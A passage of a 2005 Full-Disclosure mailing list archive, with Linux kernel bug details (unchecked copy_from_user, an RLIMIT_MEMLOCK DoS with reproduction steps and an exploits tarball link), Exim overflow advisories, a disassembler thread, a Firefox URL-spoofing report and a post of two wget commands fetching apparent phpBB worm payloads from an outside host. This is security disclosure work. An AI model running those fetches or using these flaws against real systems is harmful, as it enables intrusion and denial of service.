*tmp, int len) > >{ > > void __iomem *baseAddr; > > int i; > > > > if(copy_from_user(moxaBuff, tmp, len)) > ^ copy_from_user with no length checking > > return -EFAULT; > > In moxaloadcode(): > > > static int moxaloadcode(int cardno, unsigned char __user *tmp, int len) > > { > > void __iomem *baseAddr, *ofsAddr; > > int retval, port, i; > > > > if(copy_from_user(moxaBuff, tmp, len)) > ^ copy_from_user with no length checking > > return -EFAULT; > > In moxaload320b(): > > >static int moxaload320b(int cardno, unsigned char __user *tmp, int len) > >{ > > void __iomem *baseAddr; > > int i; > > > > if(len > sizeof(moxaBuff)) > ^ signed int has only upper-bound checked > > return -EINVAL; > > if(copy_from_user(moxaBuff, tmp, len)) > ^ copy_from_user with len possibly > sizeof(moxaBuff) > > return -EFAULT; > > 6) 2.4/2.6 RLIMIT_MEMLOCK bypass and (2.6) unprivileged user DoS > > Taken from the mail from the PaX team to Linus and Andrew Morton: > > the 'culprit' patch is how the default RLIM_MEMLOCK and the privilege > to call mlockall have changed in 2.6.9. namely, the former has been > reduced to 32 pages while the latter has been relaxed to allow it for > otherwise unprivileged users if their RLIM_MEMLOCK is bigger than the > currently allocated vm. which is normally good enough, except as you > now know there's a path that can increase the allocated vm without > checking for RLIM_MEMLOCK. > > i'm attaching a small i386-specific demonstration, use the makefile to > create the small self-contained executable, e.g., 'make alloc=0x100000' > to have it allocate 1MB of stack and lock all of it. for demonstrating > the full effect of locking down arbitrary amounts of memory, you'll have > to set your stack rlimit to infinity (ulimit -s unlimited) and allocate > as much memory as your memory overcommit policy allows (this may mean > that you'll have to run multiple instances, if you have lots of memory). > > surprisingly, in my tests the kernel survived pretty well, it just crawled > to a snail's speed as every mapped page access required disk i/o ;-). i > didn't play with overcommit policies nor any special workloads, so there > may very well be worse effects with that much locked memory. in any case, > this may warrant 2.6.10.1 because as soon as the fix goes into -bk, anyone > reading the logs can easily figure it out and reproduce the 'exploit'. > > the attached patch is the excerpt from PaX that survives the exploit, so > i think it's good to go. > > 7) Attachments > > expoits_and_patches.tgz can be downloaded at: > http://grsecurity.net/~spender/exploits_and_patches.tgz > > From uberguidoz at gmail.com Fri Jan 7 21:07:52 2005 From: uberguidoz at gmail.com (GuidoZ) Date: Fri, 7 Jan 2005 13:07:52 -0800 Subject: [Full-Disclosure] RE: Full-Disclosure Digest, Vol 1, Issue 2144 In-Reply-To: <2E179580659E2C4390C019BE7EAC7FC0B53CC3@ls-exchange-11.uk.intra.syntegra.com> References: <2E179580659E2C4390C019BE7EAC7FC0B53CC3@ls-exchange-11.uk.intra.syntegra.com> Message-ID: Try here instead: - http://lists.netsys.com/mailman/listinfo/full-disclosure Goes for anyone who wishes to be removed. ;) Save this email for suture reference. On Thu, 30 Dec 2004 15:34:13 -0000, steve.dangerfield at syntegra.com wrote: > Please unsubscribe me from this list > [BIG SNIP] From shadown at gmail.com Fri Jan 7 21:14:10 2005 From: shadown at gmail.com (shadown) Date: Fri, 7 Jan 2005 18:14:10 -0300 Subject: [Full-Disclosure] Re: ndisasm bad opcodes interpretation In-Reply-To: References: Message-ID: my mistake... short jump: it's JMP_Address + 2 + Second_Byte_value = Next_Instruction_Address shadown at twister:~/tmp$ echo -n -e "\x75\x65" > a shadown at twister:~/tmp$ ndisasm -b32 a 00000000 7565 jnz 0x67 shadown at twister:~/tmp$ ~/instalar/libdisassemble/disassemble.py a 0x0 0xff Disassembling file a at offset: 0x0 00000000: jnz 0x65 this is where my mistake came from ;) thnx On Fri, 7 Jan 2005 13:30:21 -0300, shadown wrote: > Hi, > > not a vulnerability but could be a headache while reverse ingineering > or binary auditing/interpreting, etc. (ok anything related with > disassembling) > get wrong values. > > shadown at twister:/tmp$ ndisasm -b32 salida > 00000000 49 dec ecx > 00000001 6E outsb > 00000002 7465 jz 0x69 > 00000004 6C insb > 00000005 6563747561 arpl [gs:ebp+esi*2+0x61],si > 0000000A 6C insb > 0000000B 207072 and [eax+0x72],dh > 0000000E 6F outsd > 0000000F 7065 jo 0x76 > 00000011 7274 jc 0x87 > 00000013 7920 jns 0x35 > 00000015 6F outsd > 00000016 66204968 o16 and [ecx+0x68],cl > 0000001A 61 popa > 0000001B 51 push ecx > 0000001C 7565 jnz 0x83 > 0000001E 52 push edx > 0000001F 00 db 0x00 > shadown at twister:/tmp$ ndisasm -V > NDISASM version 0.98.38 compiled Jan 7 2005 > shadown at twister:/tmp$ > > i.e: > 0000001C 7565 jnz 0x83 > sould had been jnz 0x65 > > I've just tested ndisasm 0.98.36 and 0.98.38 > > cheers. > shadown > -- > Sergio Alvarez > Security, Research & Development > IT Security Consultant > email: shadown at gmail.com > > This message is confidential. It may also contain information that is > privileged or otherwise legally exempt from disclosure. If you have > received it by mistake please let us know by e-mail immediately and > delete it from your system; should also not copy the message nor > disclose its contents to anyone. Many thanks. > -- Sergio Alvarez Security, Research & Development IT Security Consultant email: shadown at gmail.com This message is confidential. It may also contain information that is privileged or otherwise legally exempt from disclosure. If you have received it by mistake please let us know by e-mail immediately and delete it from your system; should also not copy the message nor disclose its contents to anyone. Many thanks. From Valdis.Kletnieks at vt.edu Fri Jan 7 21:19:50 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Fri, 07 Jan 2005 16:19:50 -0500 Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions In-Reply-To: Your message of "Fri, 07 Jan 2005 12:52:58 CST." <4f0e191c05010710521ebd599@mail.gmail.com> References: <4f0e191c05010710521ebd599@mail.gmail.com> Message-ID: <200501072119.j07LJo3a008443@turing-police.cc.vt.edu> On Fri, 07 Jan 2005 12:52:58 CST, Kyle Maxwell said: > It may not be perfect (I thought the Spyware Community was essentially > sending back to a central site, didn't realize it was P2P, this > requires a closer look) but at a minimum it's nice to see MS giving > this some attention. Fix the IE holes and security model and maybe > we'd go even further... But that's a flame war for another day. How much will Joe Sixpack pay for a fixed IE, given that the current broken one is marketed as a mandatory free anal suppository, and Firefox is free? How much will Joe Sixpack pay for a fixed security model, when he wouldn't recognize one if it bit him where the IE was inserted? How much will Joe Sixpack pay for "Spyware Prevention" if it's accompanied by a slick ad campaign, (like AOL's current "I want my computer to suffer a complete system meltdown" ads...)? Remember - Microsoft is a business and wants to maximize the profit, even if it means shipping sub-standard product and then charging extra to fix the issues... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/acb93ebf/attachment.bin From davek_throwaway at hotmail.com Fri Jan 7 18:42:17 2005 From: davek_throwaway at hotmail.com (Dave Korn) Date: Fri, 7 Jan 2005 18:42:17 -0000 Subject: [Full-Disclosure] Re: ndisasm bad opcodes interpretation References: Message-ID: "shadown" wrote in message news:d8360fbf0501070830475ef080 at mail.gmail.com... > > i.e: > 0000001C 7565 jnz 0x83 > sould had been jnz 0x65 No it shouldn't. Engage brain before opening mouth: what is 0x65 + 0x1e (== address of byte immediately after the instruction in question)? Google "pc-relative branch displacement" for more. Or learn some assembler programming before trying to use a disassembler. cheers, DaveK -- Can't think of a witty .sigline today.... From shadown at gmail.com Fri Jan 7 16:30:21 2005 From: shadown at gmail.com (shadown) Date: Fri, 7 Jan 2005 13:30:21 -0300 Subject: [Full-Disclosure] ndisasm bad opcodes interpretation Message-ID: Hi, not a vulnerability but could be a headache while reverse ingineering or binary auditing/interpreting, etc. (ok anything related with disassembling) get wrong values. shadown at twister:/tmp$ ndisasm -b32 salida 00000000 49 dec ecx 00000001 6E outsb 00000002 7465 jz 0x69 00000004 6C insb 00000005 6563747561 arpl [gs:ebp+esi*2+0x61],si 0000000A 6C insb 0000000B 207072 and [eax+0x72],dh 0000000E 6F outsd 0000000F 7065 jo 0x76 00000011 7274 jc 0x87 00000013 7920 jns 0x35 00000015 6F outsd 00000016 66204968 o16 and [ecx+0x68],cl 0000001A 61 popa 0000001B 51 push ecx 0000001C 7565 jnz 0x83 0000001E 52 push edx 0000001F 00 db 0x00 shadown at twister:/tmp$ ndisasm -V NDISASM version 0.98.38 compiled Jan 7 2005 shadown at twister:/tmp$ i.e: 0000001C 7565 jnz 0x83 sould had been jnz 0x65 I've just tested ndisasm 0.98.36 and 0.98.38 cheers. shadown -- Sergio Alvarez Security, Research & Development IT Security Consultant email: shadown at gmail.com This message is confidential. It may also contain information that is privileged or otherwise legally exempt from disclosure. If you have received it by mistake please let us know by e-mail immediately and delete it from your system; should also not copy the message nor disclose its contents to anyone. Many thanks. From Valdis.Kletnieks at vt.edu Fri Jan 7 21:55:23 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Fri, 07 Jan 2005 16:55:23 -0500 Subject: [Full-Disclosure] RE: Full-Disclosure Digest, Vol 1, Issue 2144 In-Reply-To: Your message of "Fri, 07 Jan 2005 13:07:52 PST." References: <2E179580659E2C4390C019BE7EAC7FC0B53CC3@ls-exchange-11.uk.intra.syntegra.com> Message-ID: <200501072155.j07LtNtA019104@turing-police.cc.vt.edu> On Fri, 07 Jan 2005 13:07:52 PST, GuidoZ said: > Try here instead: > - http://lists.netsys.com/mailman/listinfo/full-disclosure > > Goes for anyone who wishes to be removed. ;) Save this email for > suture reference. Or look at the e-mail headers for *every message*: List-post: List-subscribe: , List-unsubscribe: , List-archive: List-help: List-id: Discussion of security issues If you use an MUA that understands RFC2369, you may even get a nice little pull-down menu of point-and-click for these... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/d9045432/attachment.bin From infsec at gmail.com Fri Jan 7 22:03:10 2005 From: infsec at gmail.com (Willem Koenings) Date: Sat, 8 Jan 2005 00:03:10 +0200 Subject: [Full-Disclosure] One more phpBB worm Message-ID: <9b13f6c10501071403baa1361@mail.gmail.com> wget -vv atlasol.com/.zk/sess_189f0f0889555397a4de5485dd611111 wget -vv atlasol.com/.zk/sess_189f0f0889555397a4de5485dd611112 all the best, W From shadown at gmail.com Fri Jan 7 21:14:10 2005 From: shadown at gmail.com (shadown) Date: Fri, 7 Jan 2005 18:14:10 -0300 Subject: [Full-Disclosure] Re: ndisasm bad opcodes interpretation In-Reply-To: References: Message-ID: my mistake... short jump: it's JMP_Address + 2 + Second_Byte_value = Next_Instruction_Address shadown at twister:~/tmp$ echo -n -e "\x75\x65" > a shadown at twister:~/tmp$ ndisasm -b32 a 00000000 7565 jnz 0x67 shadown at twister:~/tmp$ ~/instalar/libdisassemble/disassemble.py a 0x0 0xff Disassembling file a at offset: 0x0 00000000: jnz 0x65 this is where my mistake came from ;) thnx On Fri, 7 Jan 2005 13:30:21 -0300, shadown wrote: > Hi, > > not a vulnerability but could be a headache while reverse ingineering > or binary auditing/interpreting, etc. (ok anything related with > disassembling) > get wrong values. > > shadown at twister:/tmp$ ndisasm -b32 salida > 00000000 49 dec ecx > 00000001 6E outsb > 00000002 7465 jz 0x69 > 00000004 6C insb > 00000005 6563747561 arpl [gs:ebp+esi*2+0x61],si > 0000000A 6C insb > 0000000B 207072 and [eax+0x72],dh > 0000000E 6F outsd > 0000000F 7065 jo 0x76 > 00000011 7274 jc 0x87 > 00000013 7920 jns 0x35 > 00000015 6F outsd > 00000016 66204968 o16 and [ecx+0x68],cl > 0000001A 61 popa > 0000001B 51 push ecx > 0000001C 7565 jnz 0x83 > 0000001E 52 push edx > 0000001F 00 db 0x00 > shadown at twister:/tmp$ ndisasm -V > NDISASM version 0.98.38 compiled Jan 7 2005 > shadown at twister:/tmp$ > > i.e: > 0000001C 7565 jnz 0x83 > sould had been jnz 0x65 > > I've just tested ndisasm 0.98.36 and 0.98.38 > > cheers. > shadown > -- > Sergio Alvarez > Security, Research & Development > IT Security Consultant > email: shadown at gmail.com > > This message is confidential. It may also contain information that is > privileged or otherwise legally exempt from disclosure. If you have > received it by mistake please let us know by e-mail immediately and > delete it from your system; should also not copy the message nor > disclose its contents to anyone. Many thanks. > -- Sergio Alvarez Security, Research & Development IT Security Consultant email: shadown at gmail.com This message is confidential. It may also contain information that is privileged or otherwise legally exempt from disclosure. If you have received it by mistake please let us know by e-mail immediately and delete it from your system; should also not copy the message nor disclose its contents to anyone. Many thanks. From idlabs-advisories at idefense.com Fri Jan 7 21:49:54 2005 From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com) Date: Fri, 7 Jan 2005 16:49:54 -0500 Subject: [Full-Disclosure] iDEFENSE Security Advisory [IDEF0725] Exim host_aton() Buffer Overflow Vulnerability Message-ID: Exim host_aton() Buffer Overflow Vulnerability iDEFENSE Security Advisory [IDEF0725] http://www.idefense.com/application/poi/display?type=vulnerabilities January 07, 2005 I. BACKGROUND Exim is a message transfer agent developed for use on Unix systems. More information is available at: http://www.exim.org/ II. DESCRIPTION Local exploitation of a buffer overflow vulnerability in Exim 4.41 may allow execution of arbitrary commands with elevated privileges. The problem specifically exists in the host_aton function. The function fails to check the number of elements it stores in a fixed size array. The elements come from a user-controlled string and are passed into the program from a command line option. III. ANALYSIS Exploitation of this vulnerability will give an attacker access to the mailer uid. The exim mailer is setuid root, but drops privileges before the vulnerable code is reached. Having the mailer uid may allow access to sensitive information in e-mail messages or possibly further elevation. IV. DETECTION Exim versions 4.40 and 4.41 have been confirmed vulnerable. The source code for version 4.42 suggests that it is also vulnerable. It is suspected that previous versions are vulnerable. V. WORKAROUND iDEFENSE is currently unaware of any effective workarounds for this vulnerability. VI. VENDOR RESPONSE A patch for Exim release 4.43 which addresses this vulnerability is available at: http://www.exim.org/mail-archives/exim-announce/2005/msg00000.html The patch will be incorporated into a future Exim release (4.50). VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the names CAN-2005-0021 to these issues. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 12/23/2004 Initial vendor notification 12/29/2004 Initial vendor response 01/07/2005 Public disclosure IX. CREDIT The discoverer of this vulnerability wishes to remain anonymous. Get paid for vulnerability research http://www.idefense.com/poi/teams/vcp.jsp X. LEGAL NOTICES Copyright (c) 2004 iDEFENSE, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDEFENSE. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email customerservice at idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. From idlabs-advisories at idefense.com Fri Jan 7 21:49:58 2005 From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com) Date: Fri, 7 Jan 2005 16:49:58 -0500 Subject: [Full-Disclosure] iDEFENSE Security Advisory [IDEF0731] Exim auth_spa_server() Buffer Overflow Vulnerability Message-ID: Exim auth_spa_server() Buffer Overflow Vulnerability iDEFENSE Security Advisory [IDEF0731] www.idefense.com/application/poi/display?id=178&type=vulnerabilities January 07, 2004 I. BACKGROUND Exim is a message transfer agent developed for use on Unix systems. More information is available at: http://www.exim.org/ II. DESCRIPTION Remote exploitation of a buffer overflow vulnerability in Exim 4.41 may allow execution of arbitrary commands with elevated privileges. Exim is a message transfer agent developed for use on Unix systems. The problem specifically exists in the auth_spa_server function. The function fails to check the length of input to spa_base64_to_bits(), which decodes a Base64-encoded string into a buffer of a fixed length. This string is user-controlled and passed to the program from a remote connection. III. ANALYSIS Exploitation of this vulnerability will give an attacker remote access to the mailer uid. The exim mailer is setuid root, but drops privileges before the vulnerable code is reached. A remote attacker may be able to use other vulnerabilities to further elevate their privileges. This vulnerability is only exploitable when the spa authentication method has been configured by setting AUTH_SPA=yes in Local/Makefile when building it. IV. DETECTION Exim versions 4.40 and 4.41 have been confirmed vulnerable. The source code for version 4.42 suggests that it is vulnerable. It is suspected that previous versions are also vulnerable. To determine if the Exim version being used is vulnerable, connect to port 25 of the machine with Exim installed and type: EHLO localhost If AUTH NTLM appears in the output the application may be vulnerable. V. WORKAROUND iDEFENSE is currently unaware of any effective workarounds for this vulnerability. VI. VENDOR RESPONSE A patch for Exim release 4.43 which addresses this vulnerability is available at: http://www.exim.org/mail-archives/exim-announce/2005/msg00000.html The patch will be incorporated into a future Exim release (4.50). VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the names CAN-2005-0022 to these issues. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 12/23/2004 Initial vendor notification 12/29/2004 Initial vendor response 01/07/2004 Coordinated public disclosure IX. CREDIT The discoverer of this vulnerability wishes to remain anonymous. Get paid for vulnerability research http://www.idefense.com/poi/teams/vcp.jsp X. LEGAL NOTICES Copyright (c) 2004 iDEFENSE, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDEFENSE. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email customerservice at idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. From s.esser at e-matters.de Sat Jan 8 00:49:42 2005 From: s.esser at e-matters.de (Stefan Esser) Date: Sat, 8 Jan 2005 01:49:42 +0100 Subject: [Full-Disclosure] Kindergarten on vacation (was: Obvious fake mail...) Message-ID: <20050108004942.GA8303@e-matters.de> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi again, it is quite funny how Immunitysec is supporting the kids that first stole Paul's linux local root exploit and then sent it out to the whole world in my name. Otherwise it is hard to explain why dailydave again and again lets those obviously faked emails through moderation. My original reply email is reachable through the web interface only by number juggling, because of pipermail bugs or a manipulation of the generated archive. Whatever it was "replaced" by another fake email with a faked e-matters gpg signature. And the same bunch of kids accuse me again and again to have stolen "their" bugs, they even sent me dead bugs (aka. insects) within an anonymous letter from somewhere in the neatherlands after I released the CVS advisories. (Well this is of course only a guess and I cannot be sure that these are the same idiots) Just spreading a rumour again and again f.e. that I am married to divenint or that he gave me that CVS remote does not make it more true. You demonstrated today that you are able to read vendor-sec emails... So you should actually know that I told vendor-sec, that I reaudited CVS, because I had heard from a friend that there is atleast one more CVS remote. Why in hell should I tell that to them if I had stolen the exploit and wanted to hide that fact? It is your bad luck, that I found a bug that was obviously circulating in the undergrounds for years. And now I have to face the anger of a little kid that lost one of his toys. And I will most probably face it again and again until you die by a heart attack. Yours, Stefan Esser -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQFB3zGLSuF5XhWr2ngRAsGzAJ90LsGPkTWvDyItnX+F1IxbLgcSBQCgkYYw PSIDxbn4c1G9XSBmqb4oq+4= =W84s -----END PGP SIGNATURE----- From s.esser at e-matters.de Sat Jan 8 01:02:28 2005 From: s.esser at e-matters.de (Stefan Esser) Date: Sat, 8 Jan 2005 02:02:28 +0100 Subject: [Full-Disclosure] Outsch... Sorry... Message-ID: <20050108010228.GC8303@e-matters.de> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Outsch! My mail was so fast through that I do not believe anymore that it is moderated at the moment :) So sorry to Dave. Stays the question why pipermail is too dumb to generate correct archives ;) Stefan -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQFB3zQrSuF5XhWr2ngRAjZNAJ0bV11jHiVNAxwLeuPH4O9Oc/8KiwCfctE4 m2AcTu4lDIe0Tu9gRJXPgpc= =MCWR -----END PGP SIGNATURE----- From khermansen at ht-technology.com Sat Jan 8 00:31:45 2005 From: khermansen at ht-technology.com (Kristian Hermansen) Date: Fri, 07 Jan 2005 19:31:45 -0500 Subject: [Full-Disclosure] Firefox long URL field obfuscation vulnerability? Message-ID: <1105144305.7981.18.camel@localhost.localdomain> This is a quick heads up for people who want to investigate it further. At least on my Ubuntu system (warty), a URL with a significant amount of data seems to "obfuscate" the URL field and not allow the end user to properly identify the site to which they are connecting. This could be another potential way for spamming thieves to fool people. Even worse, I played around with it a bit and it seems that the text is wrapping around back over the start of the URL box -- and if you are tricky enough, you can even do some interesting overlays in the URL field to make the end user think he has reached a valid site when he is actually somewhere else. The potential for abuse here seems obvious, but I am not sure if this is common to the latest version and other factors. I am asking for any input from people that can reproduce this issue or have found other ways to do devious things with it. Try this URL in your Firefox browser and see if you get the overlay problem that I am talking about: http://www.google.com/search?q=%D0%94%D0%BE%D1%80%D0%BE%D0%B3%D0%B8%D0% B5+%D0%B4%D1%80%D1%83%D0%B7%D1%8C%D1%8F%21%0A%0A%D0%9C%D1%8B+%D0%BF%D0% BE%D0%B7%D0%B4%D1%80%D0%B0%D0%B2%D0%BB%D1%8F%D0%B5%D0%BC+%D0%B2%D0%B0% D1%81+%D1%81+%D0%BD%D0%B0%D1%81%D1%82%D1%83%D0%BF%D0%BB%D0%B5%D0%BD%D0% B8%D0%B5%D0%BC+%D1%81%D0%B0%D0%BC%D0%BE%D0%B3%D0%BE+%D1%83%D0%B4%D0%B8% D0%B2%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D0%B3%D0%BE+%D0%B8+%D0% B2%D0%BE%D0%BB%D1%88%D0%B5%D0%B1%D0%BD%D0%BE%D0%B3%D0%BE+%D0%BF%D1%80% D0%B0%D0%B7%D0%B4%D0%BD%D0%B8%D0%BA%D0%B0+-+%D0%9D%D0%BE%D0%B2%D0%BE%D0% B3%D0%BE+%D0%B3%D0%BE%D0%B4%D0%B0+%D0%B8+%D0%B4%D0%B0%D1%80%D0%B8%D0%BC +%D0%BD%D0%B0%D1%88%D1%83+%D0%BD%D0%BE%D0%B2%D0%BE%D0%B3%D0%BE%D0%B4%D0% BD%D1%8E%D1%8E+%D0%BE%D1%82%D0%BA%D1%80%D1%8B%D1%82%D0%BA%D1%83.%0A%0A% D0%92+%D1%8D%D1%82%D0%BE%D0%BC+%D0%B3%D0%BE%D0%B4%D1%83+%D0%BF%D1%80%D0% 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25D0%25BE%25D0%25BF%25D1%2580%25D0%25B0%25D0%25B2%25D0%25B4%25D0%25B0% 25D1%2582%25D1%258C%2B%25D0%25B2%25D0%25B0%25D1%2588%25D0%25B5%2B%25D0% 25B4%25D0%25BE%25D0%25B2%25D0%25B5%25D1%2580%25D0%25B8%25D0%25B5.%2B% 25D0%259F%25D0%25BE%25D1%2587%25D1%2582%25D0%25BE%25D0%25B2%25D1%258B% 25D0%25B9%2B%25D1%258F%25D1%2589%25D0%25B8%25D0%25BA%2B%25D0%25B2%2B% 25D1%2581%25D0%25B8%25D1%2581%25D1%2582%25D0%25B5%25D0%25BC%25D0%25B5%2B %25D1%2582%25D0%25B5%25D0%25BF%25D0%25B5%25D1%2580%25D1%258C%2B%25D0% 25BD%25D0%25B5%25D0%25BE%25D0%25B3%25D1%2580%25D0%25B0%25D0%25BD%25D0% 25B8%25D1%2587%25D0%25B5%25D0%25BD%2B%25D0%25BF%25D0%25BE%2B%25D0%25BE% 25D0%25B1%25D1%258A%25D0%25B5%25D0%25BC%25D1%2583.%2B%25D0%2597%25D0% 25BD%25D0%25B0%25D1%2587%25D0%25B8%25D1%2582%25D0%25B5%25D0%25BB%25D1% 258C%25D0%25BD%25D0%25BE%2B%25D1%2583%25D0%25BB%25D1%2583%25D1%2587% 25D1%2588%25D0%25B5%25D0%25BD%25D0%25BD%25D1%258B%25D0%25B9%2B%25D0%259F %25D0%25BE%25D0%25B8%25D1%2581%25D0%25BA%2540Mail.Ru%2B%25D0%25BE%25D0% 25BF%25D0%25B5%25D1%2580%25D0%25B0%25D1%2582%25D0%25B8%25D0%25B2%25D0% 25BD%25D0%25BE%2B%25D0%25BD%25D0%25B0%25D0%25B9%25D0%25B4%25D0%25B5% 25D1%2582%2B%25D0%25BD%25D0%25B5%25D0%25BE%25D0%25B1%25D1%2585%25D0%25BE %25D0%25B4%25D0%25B8%25D0%25BC%25D1%258B%25D0%25B9%2B%25D0%25B2%25D0% 25B0%25D0%25BC%2B%25D0%25B4%25D0%25BE%25D0%25BA%25D1%2583%25D0%25BC% 25D0%25B5%25D0%25BD%25D1%2582%2B%25D0%25B2%2B%25D0%25BB%25D1%258E%25D0% 25B1%25D0%25BE%25D0%25B9%2B%25D1%2582%25D0%25BE%25D1%2587%25D0%25BA% 25D0%25B5%2B%25D0%25BC%25D0%25B8%25D1%2580%25D0%25B0.%2B%25D0%2590%2B% 25D0%25BF%25D1%2580%25D0%25BE%25D0%25B3%25D1%2580%25D0%25B0%25D0%25BC% 25D0%25BC%25D0%25B0%2BMail.Ru%2B%25D0%2590%25D0%25B3%25D0%25B5%25D0%25BD %25D1%2582%252C%2B%25D1%2581%25D1%2582%25D0%25B0%25D0%25B2%25D1%2588% 25D0%25B0%25D1%258F%2B%25D0%25BF%25D0%25B5%25D1%2580%25D0%25B2%25D1%258B %25D0%25BC%2B%25D0%25BF%25D0%25BE%25D0%25BB%25D0%25BD%25D0%25BE%25D1% 2586%25D0%25B5%25D0%25BD%25D0%25BD%25D1%258B%25D0%25BC%2B%25D1%2580% 25D0%25BE%25D1%2581%25D1%2581%25D0%25B8%25D0%25B9%25D1%2581%25D0%25BA% 25D0%25B8%25D0%25BC%2B%25D0%25B8%25D0%25BD%25D1%2582%25D0%25B5%25D1% 2580%25D0%25BD%25D0%25B5%25D1%2582-%25D0%25BF%25D0%25B5%25D0%25B9%25D0% 25B4%25D0%25B6%25D0%25B5%25D1%2580%25D0%25BE%25D0%25BC%252C%2B%25D0%25BF %25D0%25BE%25D0%25B7%25D0%25B2%25D0%25BE%25D0%25BB%25D0%25B8%25D1%2582% 2B%25D0%25B1%25D0%25B5%25D0%25B7%2B%25D0%25BF%25D1%2580%25D0%25BE%25D0% 25B1%25D0%25BB%25D0%25B5%25D0%25BC%2B%25D0%25B7%25D0%25B0%25D0%25B2% 25D0%25B5%25D1%2581%25D1%2582%25D0%25B8%2B%25D0%25BD%25D0%25BE%25D0% 25B2%25D1%258B%25D1%2585%2B%25D0%25B4%25D1%2580%25D1%2583%25D0%25B7% 25D0%25B5%25D0%25B9%2B%25D0%25B8%2B%25D0%25B4%25D0%25B0%25D0%25B6%25D0% 25B5%2B%25D0%25BF%25D0%25BE%25D0%25BE%25D0%25B1%25D1%2589%25D0%25B0% 25D1%2582%25D1%258C%25D1%2581%25D1%258F%2B%25D1%2581%2B%25D0%25BD%25D0% 25B8%25D0%25BC%25D0%25B8%2B%25D0%25B3%25D0%25BE%25D0%25BB%25D0%25BE% 25D1%2581%25D0%25BE%25D0%25BC%2B%25D1%2587%25D0%25B5%25D1%2580%25D0% 25B5%25D0%25B7%2B%25D0%2598%25D0%25BD%25D1%2582%25D0%25B5%25D1%2580% 25D0%25BD%25D0%25B5%25D1%2582%252C%2B%25D0%25B3%25D0%25B4%25D0%25B5%2B% 25D0%25B1%25D1%258B%2B%25D0%25BE%25D0%25BD%25D0%25B8%2B%25D0%25BD%25D0% 25B8%2B%25D0%25BD%25D0%25B0%25D1%2585%25D0%25BE%25D0%25B4%25D0%25B8% 25D0%25BB%25D0%25B8%25D1%2581%25D1%258C.%250A%250A%25D0%259D%25D0%25B0% 25D0%25B4%25D0%25B5%25D0%25B5%25D0%25BC%25D1%2581%25D1%258F%252C%2B% 25D1%2587%25D1%2582%25D0%25BE%2B%25D0%25B2%2B%25D0%25B1%25D1%2583%25D0% 25B4%25D1%2583%25D1%2589%25D0%25B5%25D0%25BC%2B%25D0%25B3%25D0%25BE% 25D0%25B4%25D1%2583%2B%25D0%25B2%25D1%258B%2B%25D0%25BE%25D1%2581%25D1% 2582%25D0%25B0%25D0%25BD%25D0%25B5%25D1%2582%25D0%25B5%25D1%2581%25D1% 258C%2B%25D1%2581%2B%25D0%25BD%25D0%25B0%25D0%25BC%25D0%25B8.%2B%25D0% 2590%2B%25D1%2587%25D1%2582%25D0%25BE%25D0%25B1%25D1%258B%2B%25D0%25B2% 25D0%25B0%25D1%2588%25D0%25B8%2B%25D0%25B6%25D0%25B5%25D0%25BB%25D0% 25B0%25D0%25BD%25D0%25B8%25D1%258F%2B%25D0%25BE%25D0%25B1%25D1%258F% 25D0%25B7%25D0%25B0%25D1%2582%25D0%25B5%25D0%25BB%25D1%258C%25D0%25BD% 25D0%25BE%2B%25D1%2581%25D0%25B1%25D1%258B%25D0%25BB%25D0%25B8%25D1% 2581%25D1%258C%252C%2B%25D0%25BE%25D1%2582%25D0%25BF%25D1%2580%25D0% 25B0%25D0%25B2%25D1%258C%25D1%2582%25D0%25B5%2B%25D0%25B8%25D1%2585%2B% 25D0%2594%25D0%25B5%25D0%25B4%25D1%2583%2B%25D0%259C%25D0%25BE%25D1% 2580%25D0%25BE%25D0%25B7%25D1%2583%2521%2B%25D0%259F%25D1%2580%25D1%258F %25D0%25BC%25D0%25BE%25D0%25B5%2B%25D0%25BF%25D0%25BE%25D1%2587%25D1% 2582%25D0%25BE%25D0%25B2%25D0%25BE%25D0%25B5%2B%25D1%2581%25D0%25BE% 25D0%25BE%25D0%25B1%25D1%2589%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B5%2B %25D1%2581%2B%25D0%25BD%25D0%25B8%25D0%25BC%2B%25D1%2583%25D1%2581%25D1% 2582%25D0%25B0%25D0%25BD%25D0%25BE%25D0%25B2%25D0%25BB%25D0%25B5%25D0% 25BD%25D0%25BE%2B%25D0%25BD%25D0%25B0%2B%25D0%25BD%25D0%25B0%25D1%2588% 25D0%25B5%25D0%25BC%2B%25D0%25BD%25D0%25BE%25D0%25B2%25D0%25BE%25D0% 